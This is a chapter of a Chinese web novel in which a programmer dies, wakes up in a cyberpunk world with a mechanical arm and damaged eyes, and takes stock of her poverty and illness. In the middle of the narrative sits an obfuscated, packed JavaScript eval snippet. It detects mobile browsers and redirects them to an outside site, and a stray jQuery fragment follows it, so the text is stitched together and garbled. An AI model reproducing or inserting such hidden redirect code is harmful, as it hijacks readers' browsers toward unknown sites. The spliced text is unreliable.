砰——
一辆疾驰而来的汽车将一个浑浑噩噩的女子撞飞。
瞬间，红色和白色的液体飞溅，女子失去意识躺在了马路中间。
路问夏觉得自己的身体一下变得很轻。紧接着，她一点点飘了起来，飘在了马路上空。
一开始，路问夏有些懵。
然后她猛然意识到，躺在地上的人不正是自己吗？
半晌，一阵鸣笛声由远及近传来，闪着急救灯的救护车呼啸而来。
医生们围着她做了急救措施，却最后只是摇了摇头。
路问夏渐渐连声音也听不见了。
医生说着什么，大概是在宣告死亡。
路问夏眼睁睁看着自己的遗体被送去殡仪馆火化，看着第二天她的同事在办公室愕然惋惜。
再然后，她什么也看不见了，进入了沉沉的梦乡。
-
办公室里，同事正在帮忙收拾路问夏遗留的物品。
“这是......？”
突然，同事在抽屉里发现了一个U盘。U盘是黄色的，上面有一个瓢虫的图案。
“七星瓢虫？”旁边的另一个同事凑了过来，好奇地看了一眼，“但里面是什么？路组长有说过吗？”
发现U盘的同事耸耸肩摇头：“不知道。我和路组长除了交周报和月报，都不怎么说话。”
“好吧，我也不熟。”
好奇心作祟下，同事鬼使神差地拿起U盘插进了电脑。
“要不，我们看看里面？万一是什么公司机密呢！”
“好。”
两人点开U盘，里面只有一个文件可以运行。
“应该不会是病毒吧？”同事半信半疑地点开。
“HelloWorld！”一声欢迎提示音从电脑里响起，弹出了一个窗口。
窗口里，两个像素块组成的小人挥舞着手臂欢迎着屏幕前的人。
机械的动作显得有些笨拙和幼稚。
“这是什么？”同事皱着眉头看了一会儿，“怎么像小学生作业......”
“确实，看着也不像是组长的风格。”
另一个同事按着鼠标，控制着小人在漆黑的环境里走来走去，却什么别的都没发生。
“算了。”同事摇了摇头，干脆直接地关闭了窗口，然后将电脑关机，连同U盘一同打包进了纸箱。
-
嘶——
头疼，头疼得像是脑袋里被装了一颗炸弹。
倒计时见底，炸弹不断发出尖锐的警报声。
电流在四周滋滋作响，带着强烈的立体环绕声的效果，从左耳跑到右耳，又从右耳直冲天灵盖。
那是种牵着神经似的疼。
路问夏晃了晃脑袋，却发现根本无法摆脱这种难受。
在艰难地深呼吸后，路问夏慢慢地睁开了眼睛。
眼前是如同电子故障般的红蓝绿色的条纹，其图像伴随着强烈的闪烁和模糊，让一切变得难以被肉眼所识别。
那种视网膜成像被严重破坏到扭曲的刺激，让路问夏的胃部猛然泛起一阵酸意。
糟了！
路问夏暗道不妙，紧皱着眉头想要克制住生理性反应。
但下一秒，路问夏不愿发生的事情还是变成了现实。
呕——
粘稠的呕吐物从胃底通过食管泛到了喉咙口，落在面前黑黢黢的地面。
只一眼，路问夏觉得更恶心了！
路问夏偏过头，看着灰扑扑的墙壁。
除了胃难受，她觉得现在自己全身都疼。
也不知道这身体干了什么高强度的体力劳动还是什么的。
路问夏就这么坐在地上，大概过了三分钟，才缓过神来。
眼前的电子故障终于消失。
路问夏忍着隐隐作痛的胃和天旋地转的脑袋，慢慢打量四周。
本就逼仄狭小的房屋里堆积着各种杂物，沙发床上散落着破烂不堪的各色衣物。
左侧墙角是一些纸箱，右侧则是奇怪的造型诡异的破铜烂铁，外加小臂粗细的一捆缠绕在一起的电线。
茶几上有一个移动终端，旁边则躺倒着好几个易拉罐。
这些易拉罐离甚至有没喝完的，粘稠的液体不知道沾在不锈钢板上多久，都有些发黑了。
周遭的一切，让路问夏的胃部再次猛然翻腾。
她深吸了一口，克制住了给这个地方雪上加霜的动作。
路问夏撑着地面，费了些力气起身。
哪怕只是这样一个起身的动作，都让路问夏眼前再次一黑，差点左脚绊右脚，又摔回去。
她怎么比平时更虚弱了！
路问夏想看一下糟糕的自己，下意识去翻手机，却发现口袋空空。
手机不见了？
那万一老板又让她半夜修bug怎么办？她可是小组里修bug的中流砥柱。
不不不，她已经死了！她不需要再修bug继续牛马生活了！
——难道，她成了阿飘？
但现在无论是痛感还是对身体的掌控感，都真实得可怕。
带着满肚子的疑问，路问夏径直推开了一扇锈迹斑斑的铁门，来到了洗手间。
这是整间屋子唯一独立的另一个空间。
镜子已经落满了灰尘，路问夏随手捡起角落洗衣篓里的一件脏衣服，将镜子擦试出一片干净的区域。
一张熟悉的脸庞浮现。
抢占视线的是一模一样的单眼皮丹凤眼，熟悉的下三白显得有些疏离。
是自己。
除了一头变短带着齐刘海的头发，瞳孔的颜色呈现诡异的浅灰，以及皮肤上不容忽视的干裂，这张脸和自己并无二致。
路问夏然后抬起双手，眼皮微抬，眉毛耸起。
——自己左手竟然是完全的钢筋铁臂？
她好奇地戳了一下，硬邦邦的。如果仔细看的话，还能看到机械小臂和大臂肌肤处的接口。
好在，右手还是人类的样子。除了拇指和食指厚厚的茧，也没什么不同。
所以，她没死，只是来到了一个奇怪的新世界？
她这是重生了？！
既然是重生，那好消息是——
她上辈子欠的帝都两百万房贷不用还了！
可路问夏的开心没持续一分钟，她就意识到了一件糟糕的事——
坏消息是，这具身体的健康和经济状况似乎不太妙，生活环境就更不堪入目了。
路问夏做了两个深呼吸，这才走出洗手间，再次打量起自己的屋子。
好吧，自己没有产生幻觉。
屋子乱糟糟的，一切都很穷酸。
只是，有一些明显的机械零件和装置和屋子格格不入。
路问夏拿起桌子上一个魔方状的黑色小方块，借着幽暗的灯光研究了一下。
然后，她按下了方块上的一个凸出的小点。
瞬间，炫光四射，空中立刻投影出一个人像，看起来像是新闻主播。
“欢迎大家收看桑特电视台晚间新闻。”
这是电视加投影一体机？
“德洛马斯宣布其开发的意识上传项目已进入第二阶段实验。据德洛马斯公关部负责人表示，项目预计在明年年初上市，仅为其vvip用户抢先体验。”
“巨石集团第三期安保人员招聘火热进行中，员工可享受免费义肢升级服务！”
“清濑医药招募新药志愿者，报酬丰厚，详情请咨询xxxx。”
路问夏：......
播一则新闻插两个广告，这桑特电视台倒挺会创收的。
她面无表情地直接关掉了这款魔方投屏电视。
从这房间的布置和这几条新闻，路问夏心中已经有了一个大胆的猜测。
只是，刚好了没多久的视力，此刻又开始在她眼前闪烁红绿故障条了。
而且她的肚子在此刻也不合时宜地咕咕叫了起来。
路问夏揉揉太阳穴，一把打开了看上去年纪颇大的草绿色冰箱。
嘎吱——
冰箱门瞬间摇摇欲坠，让她不得不将动作变得轻柔。
冰箱里东倒西歪摆着各种颜色的瓶瓶罐罐，但唯独没有什么常见的蔬菜水果，连基本的鸡蛋牛奶也不见踪影。
路问夏随手拿出一个墨绿色玻璃瓶，看了眼上面的文字。
——神农营养液。
农药？
哦，不对。
是神、神农？
好奇怪的名字，但她并无印象。
根据刚才听到的广告，这个神农大概率是清濑医药的友商。
不过既然叫神农，那估计很有效了？
她不如当场尝尝这农药。
哦不，营养液。
路问夏扭开瓶盖，先用舌尖尝了几滴，味蕾瞬间被香精的甜味笼罩。
大概三十秒，她发现没有明显的不适后，才大胆地将更多的液体灌进胃里。
别说，这神农牌营养液的效果立竿见影！
四肢无力的症状得到明显改善，头也不晕了，眼也......
不，眼睛还是花的！
视网膜前的技术故障并未被自动修复！！
路问夏猜测，这里大概率是赛博世界没跑了。
而自己的眼睛，大概率是硬件损坏，可不是随便吃点药就能解决的问题。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421348|169068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路问夏回到沙发边，终于有空注意到了几乎完全陷进缝隙里的移动终端。
黑色的机子像是放大版的手机，藏在黑漆漆的沙发里，差点儿完美隐身。
直觉告诉路问夏，那里面至少包含了一些让她能够快速了解这个新世界的信息。
手指上滑，这是虹膜解锁。
终端桌面只有屈指可数的零星几个app图标。
「信箱」「浏览器」「钱包」「地图」
路问夏点开浏览器，发现历史记录已经被清空。
但信箱里倒是还有几封信。
她一一点开，快速浏览着自己在这个赛博世界的各种信息。
很快，一本电子病例吸引了路问夏的注意。
姓名：路问夏
性别：女
年龄：25岁
户籍：伍德星
既往病史：轻度营养不良
诊断结果：中度赛博精神病，伴随间歇性失忆，需要接受长期药物治疗，否则将精神彻底崩溃死亡。
路问夏眨眨眼睛，试图理解目前的状况。
名字是自己这个名字，但——
“我有赛博精神病？而且还有生命危险？？”
不是吧？！！
老天好不容易给了自己一次从互联网程序员牛马重生的机会，但却是一俱即将英年早逝的预制尸体吗？？！！
路问夏感觉胸口压着块大石头，堵得慌。
她将移动终端揣进了兜里，沉默地走到窗边，将厚重的沾满灰尘的窗帘缓缓拉开。
她想透透气，冷静一下。
！！！
第一眼，绚丽的夜景冲进了路问夏的眼眸，让她本就糟糕的视力受到新一轮冲击。
这是一片不熄灭的霓虹海洋。
巨幅的电子屏幕上播放着各色的广告和新闻，街边小店的招牌是投影悬浮在空中的。
自己所处的片区高楼并不多，街道很窄，汽车和摩托沿着车道狂飙，很多人无视了路口的红绿灯。
眺望远处，则是大片大片高耸入云的大厦，几乎每层都亮着灯，照亮着周边的大地，比天上的星辰更耀眼。
空中偶尔有疾驰的飞行汽车，如同直升机一样在大楼的顶端独家车位上起飞和降落，显然噪音更小、乘坐更舒适。
显然，这里的科技程度比她之前的世界强很多。
但资本世界如同一台永不停息的轰隆隆运转的机器，人在这里很渺小，渺小得可能连齿轮都算不上。
如果朝着东南方向仔细看，有另一个发光的球体挂在天空的一角，散发着奇妙的吸引力。
球体如同黑夜中的太阳，高悬于众人的头顶。
不，不能就这么认命！
路问夏拍了拍自己的脸颊，让自己清醒一点。
这可是赛博世界，路上的一切看上去都很酷，那医疗水平想必也不知道比自己曾经的世界高多少吧？
肯定有救命的办法吧？！
滋、滋滋——
脑袋又开始尖叫了。
很吵。
路问夏最后打开了「钱包」app，而里面的银行账户，让她再次沉默。
250星币。
......这确定不是在讽刺她？
按照她随手在浏览器搜索的信息，市面上光是一瓶营养液就要400星币，义肢便宜的黑市货都要四位数，店里五位数六位数的数不胜数。
这250星币除了嘲讽她，到底能干什么！
路问夏深呼吸。
为了活下去，她得先想办法赚笔钱，吃上饭。
至于把自己破烂的人体硬件修好和精神病治好，那都是后面的事儿！
要不，先出门收集一下信息，看看能不能碰运气找到一些赚钱的法子。
毕竟，自己这身体，无论是去应聘巨石公司的安保，还是清濑医药的小白鼠，都没戏。
路问夏刚推开门，哗啦啦的声音传来。
门口的垃圾失去倚靠，一下子全都倒了下来。
要不是路问夏向后跳得快，垃圾估计全洒在她的脚上。
哒、哒——
然后是一串厚重的脚步声从楼梯口传来。
在伸手不见五指的漆黑楼道里，这声音显得尤为恐怖。
而且，这楼道天花板装着的灯似乎是坏了，除了在风中晃悠营造恐怖氛围，完全没有实际作用。
路问夏谨慎地完全退到房间里，悄悄观察着她不熟悉的世界。
到底是谁？是自己的朋友还是追杀的敌人？她会因此面对生命的危险吗？
路问夏的一颗心被提了起来，汗毛因为紧张而竖立，惴惴不安地通过极其有限的视角观察着。